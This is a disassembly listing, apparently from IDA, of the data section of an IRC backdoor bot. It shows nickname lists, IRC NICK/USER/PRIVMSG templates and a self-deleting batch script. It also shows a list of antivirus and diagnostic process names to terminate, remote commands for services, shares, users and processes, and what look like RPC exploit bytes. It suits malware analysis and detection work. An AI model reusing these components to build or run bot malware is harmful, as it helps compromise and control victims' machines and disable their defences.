___:00438A24o align 4 aAta29 db 'Ata29',0 ; DATA XREF: ___:00438A20o align 10h aFirtina db 'firtina',0 ; DATA XREF: ___:00438A1Co aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00438A18o aM41ist db 'M41IST',0 ; DATA XREF: ___:00438A14o align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00438A10o align 4 aAdem28 db 'Adem28',0 ; DATA XREF: ___:00438A0Co align 4 aAnkm db 'ankM',0 ; DATA XREF: ___:00438A08o align 4 aErkan db 'erkan',0 ; DATA XREF: ___:00438A04o align 4 aDevre db 'devre',0 ; DATA XREF: ___:00438A00o align 4 aYabanc db 'yabanc',0 ; DATA XREF: ___:004389FCo align 4 aBirsen db 'birsen',0 ; DATA XREF: ___:004389F8o align 4 aA44m db 'a44m',0 ; DATA XREF: ___:004389F4o align 4 aAlcatras db 'alcatras',0 ; DATA XREF: ___:004389F0o align 4 off_438E98 dd offset byte_4B5245 ; DATA XREF: ___:004389ECo aSevda db 'sevda',0 ; DATA XREF: ___:004389E8o align 4 aKotan db 'kotan',0 ; DATA XREF: ___:004389E4o align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: ___:004389E0o align 4 aAchilles db 'Achilles',0 ; DATA XREF: ___:004389DCo align 10h aKapk db 'kapk',0 ; DATA XREF: ___:004389D8o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:004389D4o align 4 aHayran db 'hayran',0 ; DATA XREF: ___:004389D0o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:004389CCo align 4 aAnkar db 'Ankar',0 ; DATA XREF: ___:004389C8o align 10h aDjspace db 'DJSPACE',0 ; DATA XREF: ___:004389C4o aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:004389C0o align 4 aUmut db 'umut-',0 ; DATA XREF: ___:004389BCo align 4 aAdalim db 'ADALIM',0 ; DATA XREF: ___:004389B8o align 4 aKumul db 'kumul',0 ; DATA XREF: ___:004389B4o align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:004389B0o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:004389ACo align 10h aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:004389A8o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: ___:004389A4o align 4 aAykut1 db 'aykut1',0 ; DATA XREF: ___:004389A0o align 10h aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:0043899Co align 10h aMahinur db 'MAHINUR',0 ; DATA XREF: ___:00438998o aHoly db 'holy',0 ; DATA XREF: ___:00438994o align 10h aFlord db 'FLoRD',0 ; DATA XREF: ___:00438990o align 4 aKebikec db 'kebikec',0 ; DATA XREF: ___:0043898Co aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:00438988o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:00438984o align 4 aEmre db 'Emre--',0 ; DATA XREF: ___:00438980o align 10h aRamtha db 'RAMTHA',0 ; DATA XREF: ___:0043897Co align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:00438978o align 4 aHakan3 db 'hakan3',0 ; DATA XREF: ___:00438974o align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: ___:00438970o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:0043896Co aArda db 'arda',0 ; DATA XREF: ___:00438968o align 4 aDevran db 'devran',0 ; DATA XREF: ___:00438964o align 4 aBerk19m db 'Berk19m',0 ; DATA XREF: ___:00438960o aDenizlim db 'DenizliM',0 ; DATA XREF: ___:0043895Co align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:00438958o align 4 aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:00438954o align 10h aBogac db 'bogac',0 ; DATA XREF: ___:00438950o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:0043894Co align 4 aAnkh db 'ankh',0 ; DATA XREF: ___:00438948o align 4 off_43902C dd offset byte_457441 ; DATA XREF: ___:00438944o dword_439030 dd 414C5941h, 2Dh ; DATA XREF: ___:00438940o aAlbina db 'albina',0 ; DATA XREF: ___:0043893Co align 10h aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00438938o align 4 aZack db 'ZACK',0 ; DATA XREF: ___:00438934o align 4 aAnk32m db 'ank32m',0 ; DATA XREF: ___:00438930o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: ___:0043892Co align 4 aAhmet db 'ahmet',0 ; DATA XREF: ___:00438928o align 4 aPelincik db 'pelincik',0 ; DATA XREF: ___:00438924o align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00438920o align 4 aRetg db 'RETG',0 ; DATA XREF: ___:0043891Co align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00438918o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:00438914o aAslii db 'aslii',0 ; DATA XREF: ___:00438910o align 4 aErnesto db 'ERNESTO',0 ; DATA XREF: ___:0043890Co aHaticem db 'haticem',0 ; DATA XREF: ___:00438908o aArzu db 'ARZU',0 ; DATA XREF: ___:00438904o align 10h aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00438900o aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:004388FCo align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: ___:004388F8o align 10h aTekir db 'tekir',0 ; DATA XREF: ___:004388F4o align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:004388F0o align 4 aTrend3 db 'trend3',0 ; DATA XREF: ___:004388ECo align 4 aMelekk db 'melekk',0 ; DATA XREF: ___:004388E8o align 4 aAkin db 'AKIN',0 ; DATA XREF: ___:004388E4o align 4 aMary_0 db 'MARY',0 ; DATA XREF: ___:004388E0o align 4 aJericho db 'JERICHO',0 ; DATA XREF: ___:004388DCo aTolga34 db 'Tolga34',0 ; DATA XREF: ___:004388D8o aMisssunday db 'misssunday',0 ; DATA XREF: ___:004388D4o align 10h aIrmal db 'irmal',0 ; DATA XREF: ___:004388D0o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:004388CCo align 4 aBerk19 db 'berk19',0 ; DATA XREF: ___:004388C8o align 10h aHexaaa db 'hexaaa',0 ; DATA XREF: ___:004388C4o align 4 aErkan27 db 'erkan27',0 ; DATA XREF: ___:004388C0o aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:004388BCo align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:004388B8o align 4 aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:004388B4o align 4 aKencing db 'Kencing',0 ; DATA XREF: ___:004388B0o aReshma db 'reshma',0 ; DATA XREF: ___:004388ACo align 4 aCamel db 'CAMEL',0 ; DATA XREF: ___:004388A8o align 4 aGirl db 'GirL',0 ; DATA XREF: ___:004388A4o align 4 aImra db 'imra',0 ; DATA XREF: ___:004388A0o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: ___:0043889Co align 4 aPuregold db 'puregold',0 ; DATA XREF: ___:00438898o align 4 aKermit db 'kermit',0 ; DATA XREF: ___:00438894o align 4 aManee db 'manee',0 ; DATA XREF: ___:00438890o align 4 aTroller db 'troller',0 ; DATA XREF: ___:0043888Co aLuisa db 'Luisa',0 ; DATA XREF: ___:00438888o align 4 aNastysha db 'nastysha',0 ; DATA XREF: ___:00438884o align 10h aRimpy db 'rimpy',0 ; DATA XREF: ___:00438880o align 4 aJanno db 'janno',0 ; DATA XREF: ___:0043887Co align 10h aBunty db 'bunty',0 ; DATA XREF: ___:00438878o align 4 aHeval db 'heval',0 ; DATA XREF: ___:00438874o align 10h aCme db 'cme',0 ; DATA XREF: ___:00438870o aMarcy db 'marcy',0 ; DATA XREF: ___:0043886Co align 4 aTalika db 'talika',0 ; DATA XREF: ___:00438868o align 4 aShez db 'Shez',0 ; DATA XREF: ___:00438864o align 4 aKen db 'ken',0 ; DATA XREF: ___:00438860o aFlexster db 'flexster',0 ; DATA XREF: ___:0043885Co align 4 aKoko db 'koko',0 ; DATA XREF: ___:00438858o align 4 aMale db 'male',0 ; DATA XREF: ___:00438854o align 4 aSwin db 'swin',0 ; DATA XREF: ___:00438850o align 4 aCar1nna db 'Car1nna',0 ; DATA XREF: ___:0043884Co aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00438848o align 4 aEmilya db 'emilya',0 ; DATA XREF: ___:00438844o align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00438840o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:0043883Co aFarooq db 'farooq',0 ; DATA XREF: ___:00438838o align 4 aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:00438834o align 4 aM_0: ; DATA XREF: ___:00438830o ; ___:00438B7Co unicode 0, <M>,0 word_439298 dw 4Eh ; DATA XREF: sub_41A3C6+38r ; ___:0043882Co align 4 dword_43929C dd 42h ; DATA XREF: ___:00438828o dword_4392A0 dd 56h ; DATA XREF: ___:00438824o dword_4392A4 dd 43h ; DATA XREF: ___:00438820o dword_4392A8 dd 58h ; DATA XREF: ___:0043881Co ; ___:00438BB0o dword_4392AC dd 5Ah ; DATA XREF: ___:00438818o dword_4392B0 dd 4Ch ; DATA XREF: ___:00438814o dword_4392B4 dd 4Bh ; DATA XREF: ___:00438810o dword_4392B8 dd 4Ah ; DATA XREF: ___:0043880Co dword_4392BC dd 48h ; DATA XREF: ___:00438808o dword_4392C0 dd 47h ; DATA XREF: ___:00438804o dword_4392C4 dd 46h ; DATA XREF: ___:00438800o ; ___:00438B78o dword_4392C8 dd 44h ; DATA XREF: ___:004387FCo dword_4392CC dd 53h ; DATA XREF: ___:004387F8o dword_4392D0 dd 50h ; DATA XREF: ___:004387F0o dword_4392D4 dd 4Fh ; DATA XREF: ___:004387ECo dword_4392D8 dd 55h ; DATA XREF: ___:004387E4o word_4392DC dw 59h ; DATA XREF: sub_41A6EA+38r ; ___:004387E0o align 10h dword_4392E0 dd 54h ; DATA XREF: ___:004387DCo dword_4392E4 dd 52h ; DATA XREF: ___:004387D8o dword_4392E8 dd 45h ; DATA XREF: ___:004387D4o dword_4392EC dd 57h ; DATA XREF: ___:004387D0o dword_4392F0 dd 51h ; DATA XREF: ___:004387CCo dword_4392F4 dd 62h ; DATA XREF: ___:004387C0o ; ___:00438B8Co dword_4392F8 dd 78h ; DATA XREF: ___:00438B0Co dword_4392FC dd 7Ah ; DATA XREF: ___:00438B14o ; ___:00438B44o dword_439300 dd 6Ch, 68h ; DATA XREF: ___:004387ACo ; ___:00438AE0o dword_439308 dd 67h, 66h, 64h ; DATA XREF: ___:00438B48o dword_439314 dd 79h ; DATA XREF: ___:00438B10o dword_439318 dd 77h ; DATA XREF: ___:00438B08o dword_43931C dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_417B76+B1o dword_439328 dd 323334h ; DATA XREF: sub_417B76+79o dword_43932C dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_417B76+61o aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_417C61+9Bo db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 4 a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417E84+BCo ; sub_417E84+175r ... align 4 dword_439374 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4182CD+A4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_4393C0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_4182CD+E3o ; --------------------------------------------------------------------------- loc_4393DC: ; DATA XREF: sub_4182CD+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_4393F0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_4182CD+13Fo aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418699+72o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_4187E0+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418884+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4188A6+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_4188A6+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_4188A6+48o align 4 unk_4394A4 db 2Dh ; - ; DATA XREF: sub_418A2E+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 unk_4394D4 db 2Dh ; - ; DATA XREF: sub_418A2E+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_4394FC dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_418A2E+5Co dd 65726165h, 64h off_439518 dd offset aAdd ; DATA XREF: sub_418C0E+60r ; sub_418FE5+51r ... ; "Add" off_43951C dd offset aAdded ; DATA XREF: sub_418C0E+2Dr ; sub_418FE5+83r ... ; "Added" dword_439520 dd 0 ; DATA XREF: sub_418C0E+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 10h dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 8 dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 43958Ch, 439584h, 2, 439578h, 43956Ch, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:0043954Co aStop_0 db 'Stop',0 ; DATA XREF: ___:00439548o align 4 aStarted db 'Started',0 ; DATA XREF: ___:00439540o aStart_0 db 'Start',0 ; DATA XREF: ___:0043953Co align 4 aListed db 'Listed',0 ; DATA XREF: ___:00439534o align 4 aList_1 db 'List',0 ; DATA XREF: ___:00439530o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:00439528o aDelete_0 db 'Delete',0 ; DATA XREF: ___:00439524o align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_43951Co align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_439518o unk_4395E0 db 2Dh ; - ; DATA XREF: sub_418C0E+67o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_439604 db 2Dh ; - ; DATA XREF: sub_418C0E+51o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 10h unk_439630 db 2Dh ; - ; DATA XREF: sub_418C0E+33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418D2A+12Co align 10h aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_418D2A:loc_418E42o align 10h aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_418D2A:loc_418E3Bo align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_418D2A:loc_418E34o db 'the state of the service.',0 align 10h aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_418D2A:loc_418E2Do align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_418D2A:loc_418E26o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_418D2A:loc_418E1Fo align 10h aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_418D2A:loc_418E18o align 10h aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_418D2A:loc_418E11o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_418D2A:loc_418E0Ao db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_418D2A:loc_418E03o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_418D2A:loc_418DD8o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_418D2A:loc_418DD1o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_418D2A:loc_418DCAo db 'tServiceCtrlDispatcher.',0 align 10h aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_418D2A:loc_418DC3o align 10h aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_418D2A+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_418D2A:loc_418D98o db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_418D2A:loc_418D8Eo aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_418D2A:loc_418D84o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_418D2A:loc_418D7Ao align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_418D2A:loc_418D70o align 10h aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_418D2A+3Co align 4 aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_418EA8+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_418EA8:loc_418F74o aStarting db ' Starting',0 ; DATA XREF: sub_418EA8:loc_418F6Do aStoping db ' Stoping',0 ; DATA XREF: sub_418EA8:loc_418F66o aRunning db ' Running',0 ; DATA XREF: sub_418EA8:loc_418F5Fo aContinuing db ' Continuing',0 ; DATA XREF: sub_418EA8:loc_418F58o aPausing db ' Pausing',0 ; DATA XREF: sub_418EA8:loc_418F51o aPaused_0 db ' Paused',0 ; DATA XREF: sub_418EA8:loc_418F4Ao aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_418EA8+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_418EA8+25o align 4 unk_439B84 db 2Dh ; - ; DATA XREF: sub_418FE5+ACo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 4 dword_439BA8 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_418FE5+8Ao dd 73252720h, 27h unk_439BC4 db 2Dh ; - ; DATA XREF: sub_418FE5+58o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 10h a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4191DB+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_4191DB+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_4191DB+B5o unk_439C10 db 2Dh ; - ; DATA XREF: sub_4191DB+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_4191DB+26o align 10h unk_439C70 db 2Dh ; - ; DATA XREF: sub_4192FC+B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 4 unk_439C98 db 2Dh ; - ; DATA XREF: sub_4192FC+95o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 4 unk_439CC8 db 2Dh ; - ; DATA XREF: sub_4192FC+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 4 unk_439CE8 db 2Dh ; - ; DATA XREF: sub_419443+3AFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_419443+385o align 10h aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_419443+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419443+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_419443+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_419443+2D9o align 10h aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_419443+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_419443+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_419443+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_419443+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_419443+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_419443+1D7o align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_419443+1ACo align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_419443+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_419443+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_419443+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_419443:loc_419562o align 4 aUser_0 db 'User',0 ; DATA XREF: sub_419443:loc_41955Bo align 10h aAdministrator db 'Administrator',0 ; DATA XREF: sub_419443:loc_419554o align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_419443+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_419443+AFo align 10h aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_419443+84o align 10h aAccountS db 'Account: %S',0 ; DATA XREF: sub_419443+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_41982C+14Fo align 4 unk_439EA4 db 2Dh ; - ; DATA XREF: sub_41982C+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 10h aS_4 db ' %S',0 ; DATA XREF: sub_41982C+BEo align 4 unk_439ED8 db 2Dh ; - ; DATA XREF: sub_41982C+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_41982C+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_4199AC:loc_419AC9o align 10h aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_4199AC:loc_419AC2o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_4199AC:loc_419ABBo align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419AB4o align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_4199AC:loc_419AADo align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_4199AC:loc_419A90o db 'ord policy requirement.)',0 align 10h aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_4199AC:loc_419A89o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_4199AC:loc_419A82o align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_4199AC+CFo db ' the domain.',0 align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_4199AC:loc_419A57o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A50o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_4199AC:loc_419A49o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4199AC:loc_419A3Fo align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_4199AC+89o align 10h aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A19o align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_4199AC:loc_419A0Fo align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_4199AC:loc_419A05o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_4199AC:loc_4199FBo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_4199AC:loc_4199F1o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_4199AC+3Bo align 10h dword_43A1E0 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419AE0+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_43A20C db 2Dh ; - ; DATA XREF: sub_419AE0+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dd 7530h off_43A238 dd offset aRegedit_exe ; DATA XREF: sub_419C09+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_43A340 dd offset dword_43A334 dd offset dword_43A328 dd offset dword_43A31C dd offset dword_43A310 dd offset dword_43A304 dd offset dword_43A2F4 dd offset dword_43A2E8 dd offset dword_43A2DC dd offset dword_43A2D0 dd offset dword_43A2C4 dd offset dword_43A2B4 dd offset dword_43A2A8 dd offset dword_43A298 dword_43A298 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_419C09+ECo ; ___:0043A294o dword_43A2A8 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:0043A290o dword_43A2B4 dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:0043A28Co dword_43A2C4 dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:0043A288o dword_43A2D0 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043A284o dword_43A2DC dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:0043A280o dword_43A2E8 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043A27Co dword_43A2F4 dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:0043A278o dword_43A304 dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:0043A274o dword_43A310 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:0043A270o dword_43A31C dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:0043A26Co dword_43A328 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:0043A268o dword_43A334 dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:0043A264o dword_43A340 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:0043A260o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:0043A25Co align 10h aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:0043A258o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:0043A254o align 4 aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:0043A250o align 4 aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:0043A24Co align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:0043A248o align 10h aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:0043A244o aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:0043A240o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:0043A23Co align 4 aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_43A238o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_419C09+191o align 10h unk_43A3F0 db 2Dh ; - ; DATA XREF: sub_419E38:loc_419EBFo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_43A414 db 2Dh ; - ; DATA XREF: sub_419E38+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 4 unk_43A438 db 2Dh ; - ; DATA XREF: sub_419E38+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419FD5+33o unk_43A468 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A18Eo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_43A498 db 2Dh ; - ; DATA XREF: sub_41A05C+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 10h 